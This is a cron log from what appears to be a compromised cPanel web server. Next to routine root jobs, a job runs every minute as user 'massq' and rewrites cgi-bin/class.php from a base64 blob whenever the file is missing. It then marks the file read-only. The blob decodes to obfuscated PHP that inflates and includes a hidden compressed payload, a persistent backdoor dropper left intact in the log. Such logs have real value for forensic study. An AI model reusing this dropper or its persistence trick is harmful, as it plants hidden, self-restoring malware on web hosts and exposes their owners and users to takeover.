Nov 10 20:39:01 server CROND[23178]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:39:01 server CROND[23179]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions &gt; /dev/null 2&gt;&amp;1)
Nov 10 20:40:01 server CROND[24014]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:40:01 server CROND[24015]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:40:01 server CROND[24016]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:40:01 server CROND[24017]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 20:41:01 server CROND[24902]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:42:01 server CROND[25720]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 10 20:42:01 server CROND[25721]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:43:01 server CROND[26641]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:44:01 server CROND[27452]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:45:01 server CROND[28237]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:45:01 server CROND[28238]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:45:01 server CROND[28239]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:46:01 server CROND[29065]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:47:01 server CROND[29927]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:48:01 server CROND[30826]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:49:01 server CROND[31819]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:50:01 server CROND[32639]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 20:50:01 server CROND[32641]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 20:50:01 server CROND[32642]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 20:50:01 server CROND[32643]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 20:50:01 server CROND[32644]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 20:51:01 server CROND[1123]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
